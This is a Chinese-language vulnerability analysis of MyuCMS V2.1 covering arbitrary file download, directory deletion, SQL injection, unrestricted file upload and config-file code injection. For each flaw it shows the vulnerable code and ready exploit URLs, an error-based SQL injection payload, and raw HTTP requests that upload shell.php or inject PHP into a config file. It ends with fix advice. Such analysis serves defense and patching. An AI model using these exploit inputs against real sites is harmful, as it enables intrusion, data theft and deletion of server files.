MyuCMS_V2.1漏洞分析
字数 1310 2025-08-26 22:11:57
MyuCMS V2.1 漏洞分析与利用指南
1. 漏洞概述
MyuCMS V2.1 基于 ThinkPHP 5.0.24 开发,存在多个高危漏洞,包括:
- 前台任意文件下载
- 任意目录删除
- SQL注入
- 文件上传漏洞
- 命令执行漏洞
2. 漏洞详细分析
2.1 前台任意文件下载漏洞
漏洞位置:bbs模块下的Index控制器的download方法
漏洞成因:
download方法接受三个完全可控的参数($url,$name,$local)- 参数直接传递给
Http类的download方法 Http->download()方法未对参数内容进行限制
关键代码:
public function download($filename, $showname='',$content='',$expire=180) {
if(is_file($filename)) {
$length = filesize($filename);
}
// ...省略其他代码...
readfile($filename); // 直接读取并输出文件内容
}
利用方法:
http://target/bbs/index/download?url=application/database.php&name=&local=1
http://target/bbs/index/download?url=c:/windows/win.ini&name=&local=1
影响:
- 可下载服务器任意文件
- 结合phar反序列化可实现任意文件删除和写入(Linux下)
2.2 任意目录删除漏洞
漏洞位置:application/common.php中的deleteun函数
漏洞成因:
deleteun函数递归删除目录及其内容- 未对传入参数进行任何限制
- 多处调用该函数且部分无需认证
关键代码:
function deleteun($dir_name) {
if (is_dir($dir_name)) {
// 递归删除目录内容
if ($item != '.' && $item != '..') {
if (is_dir($dir_name . DS . $item)) {
deleteun($dir_name . DS . $item);
} else {
unlink($dir_name . DS . $item);
}
}
rmdir($dir_name); // 删除目录
}
}
利用方法:
http://target/admin/Addons/un?info=../install
影响:
- 可删除服务器上任意目录
- 部分调用点无需认证即可利用
2.3 SQL注入漏洞
漏洞位置:application/bbs/controller/User.php中的xiaoxidel方法
漏洞成因:
- 使用字符串条件拼接SQL语句
- 未使用预编译机制
- 用户输入直接拼接到SQL语句中
关键代码:
public function xiaoxidel($ids) {
// ...
$id = input('id');
Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data);
// ...
}
利用方法:
id=2) and updatexml(1,concat(0x7e,(select database()),0x7e),1) and (1
影响:
- 可执行任意SQL语句
- 获取数据库敏感信息
2.4 文件上传漏洞
漏洞位置:application/admin/controller/Forum.php中的doUploadPic方法
漏洞成因:
- 直接调用
move方法处理上传文件 - 未调用
validate()方法设置验证规则
关键代码:
public function doUploadPic() {
$file = request()->file('FileName');
$info = $file->move(ROOT_PATH . DS . 'uploads');
// ...
}
利用方法:
POST /admin/forum/doUploadPic HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=boundary
--boundary
Content-Disposition: form-data; name="FileName"; filename="shell.php"
Content-Type: image/jpeg
<?php phpinfo(); ?>
--boundary--
影响:
- 可上传任意文件类型
- 导致服务器被完全控制
2.5 命令执行漏洞
漏洞位置:多个控制器的配置更新方法,如Config.php的add方法
漏洞成因:
- 使用
file_put_contents更新配置文件 - 未对参数内容进行验证
- 用户输入直接拼接到PHP配置文件中
关键代码:
public function add() {
$path = 'application/extra/web.php';
// ...
foreach ($res as $key => $value) {
$str .= '\''.$key.'\''.'=>'.'\''.$value.'\''.',';
}
file_put_contents($path, $str);
}
利用方法:
POST /admin/config/add.html HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
WEB_INDEX=bbs',phpinfo(),'&WEB_RXT=rar,png,...[其他参数]
影响:
- 可写入任意PHP代码到配置文件中
- 导致服务器被完全控制
3. 漏洞修复建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用白名单机制限制文件路径和类型
-
安全编码:
- 使用预编译SQL语句
- 文件操作前检查路径合法性
- 上传文件时设置严格的验证规则
-
权限控制:
- 实现严格的权限验证
- 敏感操作需二次确认
-
更新框架:
- 升级到最新版本的ThinkPHP
- 修复已知的安全问题
-
日志监控:
- 记录所有敏感操作
- 设置异常行为告警
4. 总结
MyuCMS V2.1存在多个高危漏洞,攻击者可利用这些漏洞实现:
- 服务器文件系统任意读取
- 目录和文件删除
- 数据库信息泄露
- 任意文件上传
- 服务器完全控制
建议用户立即升级到修复了这些漏洞的版本(V2.2.3及以上),并按照上述建议加强系统安全防护。